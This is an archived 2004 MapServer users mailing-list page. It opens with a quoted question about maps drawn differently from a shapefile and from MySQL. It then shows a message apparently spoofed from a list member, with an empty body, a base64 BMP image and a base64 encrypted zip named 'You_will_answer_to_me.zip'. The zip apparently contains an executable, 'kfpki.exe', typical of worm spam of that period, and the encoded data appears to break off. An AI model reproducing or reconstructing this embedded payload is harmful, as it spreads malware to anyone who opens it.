>>hi, guys, i have always the same problem with mysql data sets.
>>
>>this is my problem, with mapserver and mygis.
>>
>>I attached 2 urls to better explain you the problem:
>>
>>www.consulter.to.it/mapserver/italy.png
>>www.consulter.to.it/mapserver/italy_mysql.png
>>
>>
>>-italy.png is the map rendered by mapserver using the shapefile.
>>-italy_mysql.png is the map rendered connecting to mygis. I used
>>shp2mysql.pl (with the code hacked too!) to import the shape into mysql
>>3.23.49 (i'm using debian woody).
>>
>>Why maps are different?
>>Where is the problem? is it a perl script bug or the shapefile i used is
>>not well edited?!
>>
>>Thanks
>>
>>Toni
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users@lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>>
>
>
>
>
>
From steve.lime@dnr.state.mn.us Wed May 5 15:15:31 2004
From: steve.lime@dnr.state.mn.us (Steve.lime)
Date: Wed, 05 May 2004 08:15:31 -0600
Subject: [Mapserver-users] Re: Hello
Message-ID:
----------qwddimkqfsgfatjlkrre
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
----------qwddimkqfsgfatjlkrre
Content-Type: image/bmp; name="awtxlnqebm.bmp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="awtxlnqebm.bmp"
Content-ID:
Qk2CDgAAAAAAADYAAAAoAAAAegAAAA8AAAABABAAAAAAAEwOAAAAAAAAAAAAAAAAAAAAAAAA
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//fwluQGXef/9//3//f/9//396ewluQGU2d0BlQGXef91/
0XZAZUBl0Xbdf91/0XZAZUBl0Xbdf/9//39AZY9y/3//f0BlTXL/f/9//3//fxR3QGVAZY9y
vH//f/9/CW5AZd5//3//f91/TXIJbt1/QGVAZd5//39AZUBl/3//f/9//3//f/9/3X+PckBl
CW5Xe/9//3//f/9/CW5AZd5//3//f/9//38JbkBl3n//f/9//3/zdkBlTXJ6e/9//3//f/9/
CW5AZd5//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3/RdkBl
vH//f/9//3//f/9/QGVAZf9/3X8JbkBl/38Ud0BlvH/df0BlTXIUd0BlvH/df0BlTXL/f7x/
QGVAZXp7/39AZUBlenv/f/9/FHdAZXh7/38Ud0Bl3X//f9F2QGW8f/9//3+PckBlens2d0Bl
QGW8f/9/QGVAZf9//3//f/9//3//f9F2QGXdfzZ3QGVXe/9//3//f9F2QGW8f/9//3//f/9/
0XZAZbx//3//fxR3QGW8f1d7QGW8f/9//3//f9F2QGW8f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9/V3tAZVd7/3//f/9//3//f49yQGVXe91/FHdAZZt7
/3//f95/V3tAZUBl/3//f95/V3tAZUBl/396e0Bl0XZNcv9/QGXRdk1y/3//f0BlQGX/f/9/
3X9AZfN2/39Xe0BlV3v/f/9/QGVAZf9//38Ud0BlV3v/f/9//3//f/9//3//f/9//3//f/9/
/3+be0BlCW7/f/9//382d0BlV3v/f/9//3//fzZ3QGVXe/9//38JbkBl/3/ef0Bl83YJbkBl
QGVAZUBlQGWPcv9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f5t7
QGXzdv9//3//f/9//3//fzZ30XbRdgluQGUUd/9/ensJbkBlQGV6e/9/ensJbkBlQGV6e/9/
V3tAZbx/QGVXe0BlvH9AZZt7/39AZUBl/3//f/9/QGVAZf9/m3tAZfN2/3//f0BlQGX/f/9/
entAZfN2/3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu/3//f/9/entAZRR3/3//f/9/
/396e0BlFHf/f/9/QGVAZf9//39AZUBl83ZAZbx/entAZfN2/3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3/df0BlQGVAZUBlQGWPcpt7/3//f/9//3//f0Bl
CW7/f0BlQGU2d91//3//f0BlQGU2d91//3//f/N2QGX/f01yCW5AZf9/0XbRdv9/j3JAZbx/
/3//f0BlQGX/f95/QGUJbv9//3/zdkBl3X//f5t7QGVNcv9//3//f/9//3//f/9//3//f/9/
/3//f1d7QGV6e/9//3//f7x/QGWPcv9//3//f/9/vH9AZY9y/3//f0BlQGWbe/9/QGVAZd5/
CW5Nct1/QGWPcv9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/39AZUBl/3//f91/j3JAZZt7FHdAZd1/3X9AZQlu/39NckBl/3+8fwlu83ZNckBl/3+8fwlu
83bRdkBl/396e0BlQGX/f7x/QGW8f7x/QGXzdv9/entAZRR3/3//fwluQGVAZRR3vH9AZfN2
/3/zdkBlQGX/f/9/QGVAZf9//3//f/9//3//f/9/j3JAZY9y3X//f/9//3//f0BlQGX/f/9/
/3//f/9/QGVAZf9//39NckBl0Xa8f0Bl83b/f5t7QGV4e0BlQGX/f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/0XZAZbx//3//f91/QGVNct5/83ZAZUBl
TXKbe/9/3X/zdkBlQGWPct1/3X/zdkBlQGWPct1/QGVAZf9//39NckBl/3//f9F20Xb/f5t7
j3JAZUBlFHf/f/9//3/RdkBlFHdNcv9/ensJbk1yeHuPckBlvH//f0BlQGX/f/9//3//f/9/
/3//f/9/eHtAZdF2/3//f7x//39NckBl3X//f/9/vH//f01yQGXdf/9/FHdAZfN2CW7Rdt5/
/3//fzZ3CW5NckBlvH//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//fxR3QGV4e/9//3//f0BlQGX/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9/FHdAZXh7/3//f/9//3//f/9//3//f/9//3//f/9/QGVAZf9//39AZUBlCW5AZZt7
/3//f0BlQGUJbkBlm3v/f5t7QGVXe/9//3//f/9//3//f49yQGVAZXp7/3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//394e0BlNnf/f/9/m3tAZU1y/3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f3h7QGU2d/9//3//f/9//3//f/9/
/3//fxR3QGXdf0Blj3L/f/9/3X82dwluQGVXe/9//3/dfzZ3CW5AZVd7/3//f9F2TXLef0Bl
TXL/f/9//3/dfwluQGVXe/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9/vH9AZUBlQGVAZUBlj3Ldf/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3+8f0Bl0Xb/f/9//3//f/9//3//f/9//3/df49yQGVNct1//3//f/9//3//f/N2
0Xb/f/9//3//f/9/83bRdv9//3//f/N2QGUJbnp7/3//f/9//396e0Bl0Xb/f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/
----------qwddimkqfsgfatjlkrre
Content-Type: application/octet-stream; name="You_will_answer_to_me.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="You_will_answer_to_me.zip"
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
